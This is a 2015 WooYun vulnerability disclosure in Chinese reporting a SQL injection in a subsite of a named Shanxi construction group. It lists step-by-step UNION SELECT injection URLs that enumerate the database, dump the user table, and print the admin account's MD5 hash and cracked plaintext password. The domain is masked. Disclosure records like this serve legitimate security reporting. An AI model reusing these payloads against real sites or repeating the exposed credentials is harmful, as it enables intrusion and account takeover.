当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0159120

漏洞标题:某集团网站伪静态SQL注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-12-08 11:22

修复时间:2016-01-23 15:16

公开时间:2016-01-23 15:16

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-08: 细节已通知厂商并且等待厂商处理中
2015-12-11: 厂商已经确认,细节仅向厂商公开
2015-12-21: 细节向核心白帽子及相关领域专家公开
2015-12-31: 细节向普通白帽子公开
2016-01-10: 细节向实习白帽子公开
2016-01-23: 细节向公众公开

简要描述:

山西建筑工程(集团)总公司,工会分站存在sql注入漏洞
山西建工集团是山西规模最大的综合性建筑集团。集团总公司是山西唯一一家同时拥有国家房屋建筑工程总承包特级资质和建筑行业(建筑工程)甲级设计资质企业,并具有国家商务部批准的直接对外承包和对外贸易经营权。入选2013年“中国建筑业竞争力百强企业”,排名第13位。

详细说明:

山西建筑工程(集团)总公司 网站:http://**.**.**.**

0.png


工会分站:http://zcb.**.**.**.**
漏洞页面 http://zcb.**.**.**.**/index.php/Index/Ndetails/class/women/htmls/nggzwq/id/1297.htm
sql 注入漏洞
(一)获取数据库名 gonghui1
http://zcb.**.**.**.**/index.php/Index/Ndetails/class/women/htmls/nggzwq/id/1297 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11,12

1.png


(二)获得表名
http://zcb.**.**.**.**/index.php/Index/Ndetails/class/women/htmls/nggzwq/id/1297 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12 from information_schema.tables where table_schema=0x676F6E6768756931
可以得到unbai_about,unbai_access,,unbai_project,unbai_role,unbai_role_user等表名

2.png


(三)获得unbai_user表的列名
http://zcb.**.**.**.**/index.php/Index/Ndetails/class/women/htmls/nggzwq/id/1297 and 1=2 union select 1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12 from information_schema.columns where table_name=0x756E6261695F75736572
(四)获得unbai_user表的内容,
http://zcb.**.**.**.**/index.php/Index/Ndetails/class/women/htmls/nggzwq/id/1297 and 1=2 union select 1,2,group_concat(id,0x5c,account,0x5c,nickname,0x5c,password,0x5c),4,5,6,7,8,9,10,11,12 from unbai_user

10.png


可以得到管理员账号和密码
admin 管理员 7fef6171469e80d32c0559f88b377245
adminlogin 网站管理员 7fef6171469e80d32c0559f88b377245
md5解密可以的密码为 admin888

漏洞证明:

1.png


2.png


3.png


4.png


10.png

修复方案:

防止sql注入,修复漏洞

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-11 16:26

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给山西分中心,由其后续协调网站管理单位处置.

最新状态:

暂无